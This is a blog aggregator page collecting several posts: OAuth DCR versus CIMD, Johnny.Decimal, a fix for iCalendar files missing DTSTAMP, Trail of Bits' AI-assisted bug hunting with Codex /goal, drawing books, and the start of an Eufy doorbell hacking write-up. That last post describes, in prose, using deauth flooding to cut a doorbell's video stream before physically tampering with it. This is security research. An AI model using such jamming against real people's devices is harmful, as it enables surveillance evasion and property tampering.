Shellsharks Blogroll - BlogFlock

Solving the Missing Trust Anchor in Dynamic Client Registration with CIMD - Articles by Aaron Parecki

2026-07-29T12:15:22.000Z

OAuth originally assumed clients would be pre-registered at an authorization server.

Before an app can talk to an OAuth server, a developer signs up for an account, registers the client by providing the name and logo and other client information, configures redirect URIs, and gets a client_id. The server has some record of who this client is and who is responsible for it.

That works fine when the ecosystem is closed. Google can require developers to register before accessing their API. Salesforce can do the same. But what about ecosystems where any client should be able to talk to any server, where it's not possible for the client developer to be aware of every server ahead of time?

This is the "open web" problem. Mastodon users expect any Mastodon client to work with any Mastodon server. BlueSky works the same way. The MCP ecosystem is heading in the same direction, users expect to be able to connect their own MCP client to any MCP server. When you have potentially thousands of clients and thousands of servers, you can't require every client developer to register with every server operator in advance.

Dynamic Client Registration (DCR) was designed to solve this. A client shows up at a server, registers itself on the spot, and gets credentials. No prior relationship required.

The problem is DCR pushes all the trust decisions onto the authorization server, with nothing to actually base those decisions on, and no real link to the client developer.

How Dynamic Client Registration Works
The Problems with DCR
The Root of the Problem
How Client ID Metadata Document Works
What CIMD Makes Possible
What CIMD Does Not Solve
- Desktop Apps
Where This Leaves Us

How Dynamic Client Registration Works

DCR is defined in RFC 7591. The client sends a POST request to the server's registration endpoint with its metadata: a display name, logo URL, redirect URIs, contact information. The server responds with a client_id and optionally a client_secret. From that point on, the client uses those credentials in OAuth flows with that server.

sequenceDiagram
    participant C as Client
    participant AS as Authorization Server

    C->>AS: POST /register<br/>(name, logo, redirect_uris, ...)
    Note over C,AS: Unauthenticated — no credentials required
    AS->>C: 201 Created<br/>(client_id, client_secret)

This works, at least in the sense that it solves the bootstrapping problem. The client can show up without any prior arrangement and get credentials.

But there is a deeper problem that this flow makes hard to see.

The Problems with DCR

Anyone Can Register Anything

The registration endpoint must be open to the world by design. That is the whole point of dynamic registration in an open ecosystem. Any actor, whether that's a legitimate app, a bot, or an attacker, can call it and create a client registration.

graph LR
    A[Web App\nname: Acme\nlogo: acme.com/logo.png]
    B[Desktop App\nname: Acme\nlogo: acme.com/logo.png]
    C[Attacker\nname: Acme\nlogo: acme.com/logo.png]

    A -->|POST /register| R[/Register Endpoint/]
    B -->|POST /register| R
    C -->|POST /register| R

    R --> D[client_id: aaa]
    R --> E[client_id: bbb]
    R --> F[client_id: ccc]

    style C fill:#ffdddd
    style F fill:#ffdddd

The metadata in the request is entirely self-asserted. The server has no way to verify that the entity calling /register controls the logo URL it submitted, runs the website it claims to represent, or is in any way connected to the app name it provided. The authorization server is simply asked to accept claims it cannot check. The only clue as to the real identity of this client is the redirect_uri, which is only a partial solution as we'll discuss shortly.

The Client Lifecycle Problem

Once a client registers, the authorization server is responsible for managing that registration indefinitely. This creates an operational problem that has no clean solution.

There are a few approaches servers take to clean up stale registrations:

Delete if unused within N hours. This seems reasonable until you realize it breaks clients that register in advance of a user session, or clients used infrequently. It also does nothing for malicious registrations that were used once.

Delete when the last refresh token expires. This is a cleaner signal, but it still requires keeping a record of every client until its tokens expire. For servers with high legitimate usage, this table grows continuously.

Leave it to the client to re-register. The problem here is clients have no reliable way to know whether their registration is still valid before sending a user through an OAuth flow. The client doesn't even discover the registration is gone when the flow fails, because this failure mode ends with the user on the authorization server screen, never being sent back to the client. To avoid dead ends, clients tend to re-register on every login. This compounds the very bloat you were trying to avoid.

client_id	created	last used
aaa1	6 months ago	unknown
bbb2	3 months ago	unknown
ccc3	3 months ago	today
ddd4	1 month ago	unknown
eee5	today	today
... 10,000 more

The authorization server is stuck guessing which records are safe to delete, while new ones keep arriving.

Client Impersonation Is Undetectable

The most serious problem with DCR is not the operational overhead. It is that impersonation is structurally impossible to detect.

Nothing in DCR prevents an attacker from registering a client with the same name, logo, and description as a legitimate app. Both will have a client_id. Both will show users the same consent screen. The authorization server has no mechanism to distinguish them.

graph LR
    subgraph Legitimate App
        L[client_id: abc123\nname: Acme Wallet\nlogo: acme.com/logo.png]
    end
    subgraph Malicious App
        M[client_id: xyz789\nname: Acme Wallet\nlogo: acme.com/logo.png]
    end

    L --> U1[User sees:\n'Acme Wallet wants access']
    M --> U2[User sees:\n'Acme Wallet wants access']

    style M fill:#ffdddd
    style U2 fill:#ffdddd

This presents a real OAuth phishing risk. A fake app can present a consent screen that looks identical to a legitimate service. If the user authorizes it, from the server's side, nothing looks wrong.

There are defenses against this, but they all require clients to opt into something extra: signed software statements, app attestation, platform-issued certificates. That pushes a significant burden onto every legitimate developer, and leaves the protection entirely voluntary.

Credential Sprawl for Clients

From the client developer's perspective, DCR introduces a class of credential that OAuth was supposed to eliminate: per-server identities that have to be managed, stored, and refreshed.

For each authorization server the client works with, it now needs to:

Call /register to receive a client_id and client_secret
Store those credentials securely, separately from any tokens
Handle rotation and expiration of those credentials
Decide whether to re-register when something changes

There is also no standard mechanism for a client to verify its client_id is still valid before starting a flow. When the authorization server is about to present an OAuth consent screen, it realizes the client_id doesn't exist and ends the flow there, not sending the user back to the invalid client. The user sees a generic error screen, and the client doesn't even know this happened.

The Root of the Problem

All four of these issues trace back to the same structural flaw: DCR separates the assertion of identity from any authority over that identity.

The authorization server accepts claims about who the client is, but has no external signal to verify those claims against. The client says "I am Acme App" and the server has nothing to cross-reference that against.

Compare this to what we do for humans. When a user logs in, the server asks them to prove something: a password, a passkey, an OTP. The claim "I am Alice" is backed by something. DCR never asks the client for anything comparable.

The question is: what does a client actually control in the real world? A web app controls its domain. A mobile app has a backend, or an app store identity. These are real anchors. The question is whether the protocol uses them.

Client ID Metadata Document (CIMD) is built around that insight. The client_id is a URL. The authority comes from who controls that URL.

How Client ID Metadata Document Works

With CIMD, there is no registration step. The client's identifier is a URL on a domain the client controls. When an authorization server encounters a client_id it has not seen before, it fetches that URL to discover the client's metadata.

sequenceDiagram
    participant App as Client App
    participant Browser as Browser
    participant AS as Authorization Server
    participant Meta as app.example.com

    App->>Browser: Redirect to AS<br/>client_id=https://app.example.com/client
    Browser->>AS: GET /authorize?client_id=https://app.example.com/client&...
    AS->>Meta: GET https://app.example.com/client
    Note over AS,Meta: Back-channel fetch from client-controlled domain
    Meta->>AS: Returns JSON metadata document
    AS->>Browser: Show consent screen using fetched metadata
    Browser->>AS: User approves
    AS->>Browser: Redirect to redirect_uri with auth code
    Browser->>App: Delivers auth code
    App->>AS: POST /token
    AS->>App: Access token

The client publishes its own display name, logo, redirect URIs, supported authentication methods, and JWKS. The AS discovers this at runtime. Nothing needs to happen in advance.

This one change, making the client_id a URL on a client-controlled domain, solves most of the problems described above.

What CIMD Makes Possible

Domain Ownership as a Trust Signal

When the AS fetches the client metadata, it knows what domain it fetched it from. That domain is something it can actually start making decisions about. This opens up trust tiers that were structurally impossible with DCR:

graph TD
    subgraph Authorization Server Policy
        A{Client domain\nseen before?}
        A -->|No, first time| B[Show extra confirmation\nto user]
        A -->|Yes, pre-approved| C[Proceed normally]
        A -->|Flagged/blocked| D[Deny request]
    end

    B --> E[User approves]
    E --> C

An AS can prompt users for extra confirmation when a client from a newly seen domain requests access — similar to how browsers warn about unfamiliar download sources. Once enough users have authorized clients at a domain and nothing suspicious has come up, the AS can gradually reduce the friction for that domain. It can integrate domain reputation services. It can maintain an explicit allowlist of verified domains for frictionless access, and block suspicious ones.

None of this requires the client to behave differently based on which AS it is talking to. A client that has been pre-enrolled by an enterprise admin and a client talking to the same AS for the first time present their client_id URL identically. The domain is implicit in the URL, and the AS decides what to do with it.

Enterprise Pre-Registration Without Client Changes

Enterprise admins need control over which apps can access company resources. With DCR, this is nearly impossible: the client_id is generated dynamically at registration time, so the admin has no way to reference it before the employee runs the app.

With CIMD, the admin pre-registers the client_id URL (for example, https://myapp.example.com/oauth/client) in the AS. When an employee runs the app, the app presents its client_id URL as it always does. The AS fetches the metadata, finds the URL is already registered by the admin, and proceeds with the enterprise-approved experience.

sequenceDiagram
    participant User
    participant App as Client App
    participant AS as Authorization Server
    participant Admin

    Admin->>AS: Pre-register client URL<br>https://myapp.example.com/oauth/client
    Note over Admin,AS: Setup happens once, in advance

    User->>App: Starts OAuth flow
    App->>AS: client_id=https://myapp.example.com/oauth/client
    AS->>App: Fetch metadata from URL
    App->>AS: Returns metadata
    Note over AS: URL matches pre-registered entry
    AS->>User: Proceeds with approved experience

The client doesn't know or care whether it is being used in an enterprise context. Its client_id URL is the same everywhere. The enterprise filtering happens entirely at the AS.

Clients Control Their Own Keys

Because the client publishes a JWKS (or a JWKS URI) in its metadata document, it can rotate keys without coordinating with the authorization server. The AS fetches fresh metadata when the cache expires and picks up the new keys automatically. This makes private_key_jwt client authentication practical for any client with a web presence.

Authorization servers that want to enforce strong client authentication can validate the signatures. Servers that do not have that requirement can ignore the signature and proceed with whatever they accept. The client publishes good metadata and lets each AS enforce what it needs.

Mobile Apps and Attestation

Mobile apps have always been a challenging case for client identity. The app binary has no inherent web identity, and DCR gives it none.

With CIMD, a mobile app can follow the pattern in OAuth Attestation-Based Client Authentication: the app's backend (an "attester backend") hosts the CIMD document and manages the client's keys. The AS fetches the CIMD URL, which points to the attester backend, and can perform attestation checks against the key material there.

sequenceDiagram
    participant App as Mobile App
    participant AB as Attester Backend
    participant AS as Authorization Server

    Note over AB: Publishes CIMD at<br>https://attester.example.com/client
    Note over AB: Manages JWKS and<br>attestation material

    App->>AS: client_id=https://attester.example.com/client
    AS->>AB: Fetch CIMD document
    AB->>AS: Returns metadata + JWKS URI
    AS->>AB: Fetch JWKS
    AB->>AS: Returns public keys
    Note over AS: Can now verify app-signed assertions<br>using attester-managed keys

Mobile platforms also give apps a way to "claim" an https redirect URL, linking the app binary to a domain the developer controls. This connects the redirect URL and the CIMD URL to the same domain end to end, giving the AS another corroborating signal.

One thing worth noting for readers familiar with DCR: the spec does define a software_statement property that was intended to solve a similar problem. In practice it was left underspecified — the DCR spec itself says nothing about how to create one, what it should contain, or how keys should be managed. Any ecosystem trying to use it would need to define all of that separately, and then convince every mobile app developer and every AS to adopt the new behavior. CIMD combined with Attestation-Based Client Authentication layers on top of the existing jwks_uri mechanism, which means it composes with what implementations already support rather than requiring a new convention from scratch.

This gives the AS a meaningful level of confidence in the mobile app's identity.

Comparison

	Dynamic Client Registration	Client ID Metadata Document
Registration step	Required (unauthenticated POST)	None
Authority anchor	None (self-asserted)	Domain ownership
Client impersonation	Undetectable	Domain-keyed, harder to fake
Client lifecycle management	AS must manage cleanup	Client controls its own document
Key rotation	Requires AS coordination	Client-controlled, AS fetches on use
Enterprise pre-approval	Out-of-band coordination required	Admin registers URL; client behavior unchanged
Mobile attestation	Requires special-casing	Natural fit via attester backend
Per-AS credential to store	client_id + secret	None

What CIMD Does Not Solve

CIMD is not a complete solution to the open ecosystem trust problem. A few things are worth calling out, either as known limitations or as possible future work.

Domain spoofing at the visual layer is still possible. An attacker pretending to be acme.com can register acme-login.com and host a convincing CIMD document there. Domain reputation services help, but do not eliminate this. The improvement over DCR is that there is now a domain to leverage in any decisions, and domain-based signals are much richer than nothing.

CIMD only helps as much as the AS acts on it. A server that accepts any CIMD URL without applying any domain-based policy gets roughly the same trust posture as DCR on the impersonation dimension, though the client lifecycle and credential sprawl problems are still improved.

For machine-to-machine clients without an attester backend, CIMD without private_key_jwt or mTLS is still self-asserted metadata, just fetched from a URL rather than submitted via POST. Strong client authentication still requires key material.

Desktop Apps

Desktop apps are the hardest case. Mobile platforms provide attestation APIs and let apps claim https redirect URLs. Desktop platforms currently do not. A desktop app cannot cleanly connect its running instance to a domain the developer controls, and localhost redirect URLs (which desktop apps are forced to use) can be intercepted by any app on the same machine and provide no protection against app impersonation.

This means client impersonation for desktop apps remains possible even with CIMD. That said, it is no worse than DCR, which also provides no solution here. And adopting CIMD for desktop apps still removes the credential sprawl problem and makes the AS implementation uniform across all client types, rather than requiring special handling for desktop.

Token binding is still available to desktop apps. Specs like DPoP bind access tokens and refresh tokens to client-asserted keys without trying to solve client authentication. A desktop app can leverage DPoP to limit token reuse even when client identity itself cannot be strongly verified.

Where This Leaves Us

DCR solved the bootstrapping problem but could not solve the trust problem. It gave authorization servers a way to accept unknown clients, without giving them any tools to reason about which unknown clients to trust.

CIMD is not a drop-in replacement for DCR in every deployment. But for open ecosystems like MCP, decentralized social, and federated enterprise, it provides the trust hooks that DCR structurally cannot. The domain is a useful anchor. Enterprise pre-enrollment of clients requires no client changes. Key management stays with the client. Mobile app attestation fits naturally.

For AS operators, the path forward is to accept client_id values that are HTTPS URLs, fetch the metadata document on first encounter, and build domain-based trust policies from there. For client developers, the change is even simpler: publish a metadata document at a stable URL on your domain and use that URL as your client_id.

The specs are live and moving through the IETF process. Client ID Metadata Document covers the metadata document format and discovery. Attestation-Based Client Authentication describes the architecture of using an attester backend with mobile apps.

If you are building in this space, both documents are worth reading, and the OAuth working group is actively discussing both. Feel free to chime in on the OAuth mailing list or on the individual GitHub repos for the specs.

Indicating levels of Johnny.Decimal complexity - Johnny.Decimal

2026-07-28T23:35:15.000Z

The previous post discussed an advanced notation whose primary intent is to enable 'parsing' of your Johnny.Decimal system using automated tools.

While the nature of the content was obviously advanced, I should have made it more obvious that this is an advanced concept and is very much optional. Most of you don't need to care, and don't need to feel like this is something you should be doing, or that you're missing out.

I regret the error.

I've been thinking about this for a while. I passionately believe that the Johnny.Decimal system can help everyone to be more organised; that you really do not need any special 'computer skills' to use it to help you reduce the stress of modern life.

Some of the best email I get is from 'normal people' (i.e. not nerds like me) either thanking me for the system, or asking me a question about it. I love answering these emails – no question is too simple, and they inform what we create. Email me any time.

Some stuff is advanced

But then some stuff is advanced. That's the beauty of a system based around numbers and text: you can drive it as hard as you like. So here's a way to indicate when this is the case. I'm going to try to start using it on the blog, YouTube, and anywhere else. It's pretty simple.

Complexity: 1/3

Johnny.Decimal level: ▓░░

The default. I won't be writing this everywhere: unless I say otherwise, assume this.

Complexity: 2/3

Johnny.Decimal level: ▓▓░

'Intermediate' level stuff that you might like to use.

Complexity: 3/3

Johnny.Decimal level: ▓▓▓

Definitely 'advanced' level stuff that you should only use if you know you need it.

Google Calendar "Unable to launch event" - caused by missing DTSTAMP - Terence Eden’s Blog

2026-07-28T11:34:15.000Z

For several years, Google's product help forums have been littered with people trying to download a .ics event from their email, only to receive the error "Unable to launch event" when trying to add it to Google Calendar. It doesn't happen with all iCal attachments, only some. Here's how to fix it.

I checked dozens of broken iCalendar invites using this iCal validator and they all had the same problem: "Missing DTSTAMP property".

Here's a typical broken file:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:abcdef-ghij-klmn-opqrs-tuvwxyz
BEGIN:VEVENT
DTSTART:20260713T093000Z
DTEND:20260713T103000Z
SUMMARY:Your Delivery (Order 123456789)
UID:83c510fa-1be4-48a2-8338-c5a2350ba6e5
END:VEVENT
END:VCALENDAR

If you read the specification or follow the flowchart you'll see:

Property Name: DTSTAMP

Conformance: This property MUST be included in the "VEVENT", "VTODO", "VJOURNAL", or "VFREEBUSY" calendar components.

Adding that to the above produces:

BEGIN:VCALENDAR
VERSION:2.0
PRODID:abcdef-ghij-klmn-opqrs-tuvwxyz
BEGIN:VEVENT
DTSTAMP:20260713T093000Z
DTSTART:20260713T093000Z
DTEND:20260713T103000Z
SUMMARY:Your Delivery (Order 123456789)
UID:83c510fa-1be4-48a2-8338-c5a2350ba6e5
END:VEVENT
END:VCALENDAR

You can download them both to see if they work on your Android phone.

That's all it takes! Add the missing DTSTAMP to broken files and Google Calendar is able to import them.

From my (unscientific) testing, the broken file works on all iOS devices and some Android calendars - but always breaks on Google's Calendar.

Post by @Edent@mastodon.social

View on Mastodon

The iCal specification is reasonably old, but it is fairly simple to understand. Annoyingly, Google's documentation about iCal is frustratingly vague. It says:

This is what an iCalendar file looks like. An iCalendar file can also have more information, but these are the parts that are required.

BEGIN:VCALENDAR

VERSION:2.0

PRODID:< [enter ID information here] >

BEGIN:VEVENT

(event details)

END:VEVENT

END:VCALENDAR

But it never actually describes what those "event details" are!

Is the spec needlessly verbose? Perhaps. Should Google Calendar be a bit more forgiving in what it receives? Probably!

There's no meaningful way to report a bug to Google's product teams. Instead, I've taken to emailing the organisations sending out these broken invites and pleading with them to fix their systems.

Computers, eh?

How we use /goal to find bugs in Patch the Planet - Trail of Bits Blog

2026-07-28T11:00:00.000Z

Codex’s <code>/goal</code> feature amplifies bug hunting, but getting good results requires the right prompt, the right scope, and the right number of outcomes per run. For <a href="https://trailofbits.com/patch-the-planet">Patch the Planet</a>, our joint initiative with OpenAI to find and fix bugs in open-source software, we pointed Codex at some of the most widely used, heavily audited codebases in the world, like Rust, curl, and zlib. One tool came up again and again in our internal bug-report channels: <code>/goal</code>, which hands Codex an open-ended objective and lets it work independently toward a success condition. Here are a few highlights: <ul> <li>Found every Rust bug we submitted, including a soundness hole and a miscompilation now patched in Rust 1.98, from a single variant-analysis pipeline.</li> <li>Turned every project’s past CVEs into Semgrep rules that had to fire on the vulnerable version and stay silent on the patched one, then flagged 11 variant hits across multiple projects.</li> <li>Uncovered two potential high-severity privilege-escalation bugs in Keycloak’s SAML component during a discovery run.</li> </ul> Over the first few weeks of Patch the Planet, our engineers independently converged on three techniques for using <code>/goal</code>. We found that getting the most out of <code>/goal</code> means treating the prompt as a set of specific success criteria, not a set of instructions. (Note that this blog post uses <code>/goal</code> to refer to goal-based prompting in general. Codex can also set goals for itself through a tool call, and that’s how we recommend everyone use it; we rarely type the slash command ourselves.) <h2 id="1-let-codex-write-the-goal">1. Let Codex write the goal</h2> The art of using <code>/goal</code> is prompt design, and we found that Codex knows Codex the best. Internally, our single most repeated <code>/goal</code> tip was to use Codex to help write each <code>/goal</code> prompt. We hand Codex threat model files and the context about what we’re looking for, and then tell it to write the goal prompt. As mentioned before, <code>/goal</code> is a tool Codex can invoke on itself, and a few engineers stopped typing goals by hand entirely. <figure> <blockquote> $goal-prompt based on threat model write goal to find single critical issue (RCE) exploitable by remote attacker for kubernetes-client. the kubernetes-client is used in normal config, malicious remote users exploits. </blockquote> <figcaption>Figure 1: A meta-prompt from one of our engineers asking Codex to create a goal prompt. Results are shown in figure 2.</figcaption> </figure> This works because Codex knows the target and its own tendencies better than we can specify up front. It can translate a threat model into concrete, testable success criteria, name the code paths worth prioritizing, and phrase the outcome precisely enough that a run actually converges. A goal written this way tends to be tighter than one we’d write cold, and it takes a fraction of the time. Letting the model draft the goal also closes a gap we’d otherwise miss. Any outcome you define can be satisfied in ways you didn’t intend, and the model is often the first to spot where the easy outs are. Now when we ask Codex to draft a goal, we ask it to red-team its own goal by identifying the ways a future model might be lazy in its approach, and to revise the criteria to remove them before the run starts. We also built tooling that makes it easier for Codex to verify its own work. For example, we noticed Codex has a tendency to skip reading the entire codebase even when explicitly asked. We built <a href="https://github.com/trailofbits/aicov">aicov</a>, a tool that tracks what lines of code Codex has actually read, so it can’t “cheat.” This is an iterative process. As we find more shortcuts a model takes, we exclude them from the next version of the prompt. <h2 id="2-define-the-outcome-not-the-path">2. Define the outcome, not the path</h2> A good goal names the outcome, defines it precisely, and then enforces persistence: <figure> <blockquote> /goal Audit the kubernetes-client repository in this workspace to find exactly one previously unreported critical remote code execution vulnerability reachable in normal/default client configuration by a malicious remote user or server that controls only network/API responses, Kubernetes objects the client legitimately fetches, or other remote data accepted during normal use. First build a concise threat model of realistic remote attacker entry points and trust boundaries, then prioritize code paths involving deserialization, YAML/JSON/protobuf parsing, dynamic imports/eval/template execution, archive/file extraction, auth redirects, generated client hooks, websocket/exec/attach/port-forward streams, and subprocess or filesystem effects. Do not assume attacker control of local kubeconfig, CLI arguments, environment variables, installed plugins, source code, credentials, privileged cluster/admin access, or prior code execution; explicitly reject findings that rely on those preconditions. Before accepting a candidate, search local known-findings files plus current open issues/PRs for duplicates, then produce a minimal safe proof that demonstrates attacker-controlled code execution or a direct RCE primitive under the stated normal configuration. Stop after one valid critical issue. Write finding to ./findings/ folder. </blockquote> <figcaption>Figure 2: The prompt created by Codex from figure 1</figcaption> </figure> We found the best philosophy is to spend as many tokens as you need defining the outcome, and almost none telling the model how to get there. If you want the bug found through fuzzing, “use fuzzing” is as far as you should go. “Build on top of my existing fuzzing harness” or “build a new fuzzing harness” are both worse. There might be an existing harness that’s just as good. A goal that prescribes the path guarantees Codex never takes another one, and you lose the judgment and open-ended problem solving that make <code>/goal</code> unique. The outcome side takes more care because it has to be calibrated. If it’s too specific, Codex doesn’t have enough to search and the value of an autonomous <code>/goal</code> run is unclear. When we fed Codex the exact root cause of a known bug and asked it to find variants, it found nothing. The scope was too narrow. When we cut the input down to a single sentence describing the class of bugs it should look for based on the known bug, it surfaced numerous bugs. We reported 9 of them, with 3 already fixed and merged upstream. If an outcome is too vague, the model provides outputs that don’t match what you were looking for. One of the worst <code>/goal</code> prompts we saw during Patch the Planet was “find bugs in [X].” The model had no way to tell when it was done. It just kept running, surfacing bugs that had no real-world impact, and wasting tokens. A complete outcome definition also says what doesn’t count as done. The open-source projects in Patch the Planet have some of the most audited code in the world, and more than once <code>/goal</code> came back with “no bugs found.” We treat that as an intermediate result, not a completion condition, and write persistence into the goal itself. The most effective resource for <code>/goal</code> bug hunting is a <code>THREAT_MODEL.md</code> file. We ended up referencing a threat model file in almost every goal we ran because it precisely defines what valid bugs look like without explaining how to find them. We recommend every open-source project create one. <h2 id="3-assign-one-outcome-per-agent">3. Assign one outcome per agent</h2> Putting two competing outcomes in one <code>/goal</code> prompt results in uneven optimization. We ran into this repeatedly when a goal asked for both bugs and coverage. When we put “find bugs” and “achieve high coverage” in the same prompt, the run ended up doing one of them far better than the other. This was our experience while using <code>/goal</code> to audit zlib. Codex kept gravitating to the same part of the codebase, fuzzing the areas the model found first without reaching the rest. Our initial instinct was to fix that in the prompt by adding coverage requirements, but Codex then switched its optimization to coverage, and we saw lackluster vulnerability hunting. What worked instead was moving coverage out of the prompt entirely. We asked Codex to first identify the five most promising attack surfaces after scouring through the entire codebase. Then we created a separate <code>/goal</code> session to find bugs in each section. We also added one fully open-ended session alongside them to roam the parts of the codebase the other agents weren’t assigned. This approach worked <a href="https://blog.trailofbits.com/2026/07/02/field-reports-from-patch-the-planet/">drastically better</a>. <figure> <img src="https://blog.trailofbits.com/2026/07/28/how-we-use-goal-to-find-bugs-in-patch-the-planet/goal_ptp_figure_3_hu_2a14b2f59f76ba60.webp" alt="“Figure 3: Rust maintainers assumed we had a team of engineers working on finding bugs. It was just one engineer with a strong handle on Codex’s /goal.”" width="1200" height="616" loading="lazy" decoding="async" /> <figcaption>Figure 3: Rust maintainers assumed we had a team of engineers working on finding bugs. It was just one engineer with a strong handle on Codex's /goal.</figcaption> </figure> One of our engineers, Kevin Valerio, created an automated variant-analysis system for the Rust compiler leveraging <code>/goal</code>. Every Rust bug we submitted through Patch the Planet came out of it. <ol> <li> P-critical is a label created by Rust maintainers to identify bugs that should be prioritized to patch and merge. The pipeline began by downloading every issue tagged P-critical in the rust-lang/rust repository as JSON. </li> <li> An orchestrator reads the issues and spawns a separate agent for each one. One outcome per agent: instead of a single session told to perform variant-analysis on each bug, the orchestrator creates one Codex session per issue, each running an independent task to find a single outcome. </li> <li> Each session runs in Goal mode with a deliberately small prompt to find a security issue with the same root cause as the original bug in P-critical. It receives a one-sentence description of the risk rather than an exact root cause with a full backtrace, so the model can still have the freedom to explore the codebase more. </li> <li> Before any variant hunt begins, a security gate asks whether the source issue is even a real vulnerability and routes it to skip, no_variant, or bug_found. We are using that to focus on the most impactful P-critical bugs. </li> <li> Every candidate runs a two-pass false-positive gauntlet. The first judge checks that the bug poses a genuine security risk. The second, a different model entirely, runs a PoC-focused pass and demands that the issue can potentially cause security issues relevant to the Rust threat model. A candidate reaches “validated finding” only if both passes agree. </li> <li> Validated findings pass one last human filter. A duplicate check happens before anything is opened. Only bugs that are confirmed upstream and not already found in GitHub’s issue backlog are drafted for submission. </li> </ol> <figure> <img src="https://blog.trailofbits.com/2026/07/28/how-we-use-goal-to-find-bugs-in-patch-the-planet/goal_ptp_figure_4_hu_b6101cf6b22bf7cc.webp" alt="“Figure 4: The full workflow Kevin Valerio used to find every bug in Rust”" width="1200" height="675" loading="lazy" decoding="async" /> <figcaption>Figure 4: The full workflow Kevin Valerio used to find every bug in Rust</figcaption> </figure> <h2 id="where-human-judgment-is-needed">Where human judgment is needed</h2> Since its release, <code>/goal</code> has been a powerful tool for amplifying the bug-hunting work that we do. Codex can create custom security infrastructure that takes a security researcher weeks to build in under a day. It can scour thousands of lines of code faster than any human can. <code>/goal</code> will faithfully pursue whatever outcome we give the model, which means the run is mostly decided before the model starts. But its effectiveness still depends on an expert knowing where to look, verifying its results count as a reportable finding, and knowing what the maintainers on the other side actually want to see as a valid vulnerability disclosure. Prompt engineering is a large part of it, but you can only write a good prompt if you know exactly what you’re looking for.

Drawing Resources - Robb Knight • Posts • Atom Feed

2026-07-28T08:22:00.000Z

I asked for recommendations for courses and books related to learning drawing techniques and I got a bunch of great suggestions. I've not tried any of these yet (except a single video from Alphonso Dunn but I want to collect these in one place I can refer back to.

Drawing on the Right Side of the Brain by Betty Edwards via Kerri and Valrus. There's a few editions of this but I'll pick up a second hand copy of whichever one I come across first.
Books by Christopher Hart via Andy and alienlebarge. I have one of these on the way to check it out.
The aforementioned Alphonso Dunn has a book called Pen and Ink Drawing, A Simple Guide. I found a copy of this really cheap on Vinted which is on its way to me. He also has a huge number of videos on his YouTube channel. via Hollie and kalikambo
Maggie Appleton has a great list of courses and books via Eric
Eric also suggested Fun with a Pencil and The Natural Way to Draw
Draw by Jeffrey Camp and Drawing on the Artist Within, another Betty Edwards one came via Gary.

I'm not going to get everything on this list because that would be chaos but there's lots of great stuff in here that I can choose from.

📝 2026-07-28 09:16: Always fun when your bike runs out of electricity on the way to work. Note... - Kev Quirk

2026-07-28T08:16:00.000Z

Always fun when your bike runs out of electricity on the way to work.

Note to self: connect the trickle charger TONIGHT!

(Wife is on the way with my jump box to save me)

Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️

You can reply to this post by email, or leave a comment.

From your doorbell to your home network - Adepts of 0xCC

2026-07-28T00:00:00.000Z

Dear Fellowlship, I am delighted to inform you that the owls have found the time to get back to hacking in their spare time. After this two-year hiatus, we are pleased to preach a new homily from this humble digital pulpit of ours. Please, take a seat and listen to the story.

This article is going to be significantly longer than what I usually write, so this table of contents allows you to jump straight to the section that interests you most and skip the rest. Although, naturally, this little owl would love for you to read the whole thing.

0x00 Preamble. Introduction about how this research started. You can skip it freely if you are only interested in technical details.
0x01 Introduction to the ecosystem. Brief explanation about the product, its components and how they are related.
0x02 Jamming. You can remotely disconnect the doorbell from the “management” network avoiding it to stream video/audio. A crappy Proof of Concept is provided.
0x03 Soundwave sync protocol. Reverse Engineering the soundwave protocol used to sync the doorbell with the homebase.
0x04 Extracting and decrypting OCEAN_XXXXXX creds from memory dump. Recovered and revere enginering of the encrypted configuration file that contains the credentials used by the doorbell to connect to the hidden network.

0x00 Preamble

Last June I had the opportunity to give a talk at the EuskalHack congress (my talk was a simple 101 talking about ad-joined linux environments). I brought my brother-in-law along because he was finishing his master’s degree in computer science (apparently, besides the bachelor’s degree, they now have to complete a qualifying master’s program), and I wanted to show him a bit of the hacking world and try to spark some interest.

And I got lucky: Pepelux’s talk on how he pwned a video intercom really piqued his interest. So, I decided to capitalize on that interest and suggest trying to hack some gadget over the summer as a learning exercise.

It took me a couple of weeks to settle on a target, until one day, while walking through my wonderful city, I noticed the sheer number of video doorbells there are. Unfortunately, my city is infected by that modern-day cancer: unchecked tourism and the destruction of local community life caused by short-term tourist rentals. It is a tumor that grows and causes necrosis in the social fabric of our neighborhoods.

So I did the obvious thing… figure out the most common model used by them and try to pwn it :)

That’s how I set my sights on the “Eufy Security Video Doorbell” ecosystem.

0x01 Introduction to the ecosystem

I bought this “Eufy Security Video Doorbell” from internet. As can be seen in the box it is composed by two parts: the “Homebase Station 2” and the “Doorbell” itself. The Homebase works as a central hub and it is what the user connects to the intertubes (via wifi or ethernet cable), meanwhile the video doorbell is placed at your door. The doorbell (and I guess the rest of products related to Eufy) communicates with the Homebase station through a hidden wifi.

Product box showing the two components

I almost forgot that the box also contained a beautiful sticker to tell your neighbours you are recording them 24/7:

24/7 video recorded

The Homebase Station:

Homebase Station 2

The Doorbell:

Doorbell

Everything is controlled from their mobile App. It let you communicate with the Homebase and add new devices, communicate with the doorbell, and all the typical stuff you would expect.

There was a USENIX talk about this same ecosystem called Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols where the authors focused on low entropy used to generate the pre-shared key (PSK) used in the hidden network that the Homebase uses to manage the devices (and also performs a deep research on the P2P protocol). This research was done in 2023 and Eufy changed a lot of stuff (for example the PSK is not 8 bytes anymore, we will talk about it later) but something it still true: the hidden network is called OCEAN_XXXXXX, being the suffix the last 24 bits of Homebase’s MAC.

The following diagram created with my 4 years old desing skills helps to visualize the role of each element:

Network diagram

Because the doorbell (and I guess other Eufy devices) must communicate to internet at some point, the Homestation acts as a gateway and if you connect (we will discuss about it later) to that hidden network you can browse freely. Also it gives you access to any other element in the network (for example, your router web interface).

0x02 Jamming

The most obvious thing I thought was… if this uses standard WPA2 without any kind of protection… would it be vulnerable to deauth packets? The answer is: yes, of course. You can remotely flood it with deauth packets and make it disconnect from the hidden network, so the video/audio is recorded locally but not streamed to the Homebase/mobile app, making it an interesting way to physically approach to it and apply a wellness massage with a stone. Or to open it, dump its memory, and close it so nobody knows you manipulated it.

Obvious disclaimer: I am not inciting the commission of any act of vandalism, I am just talking about Threat Modelling.

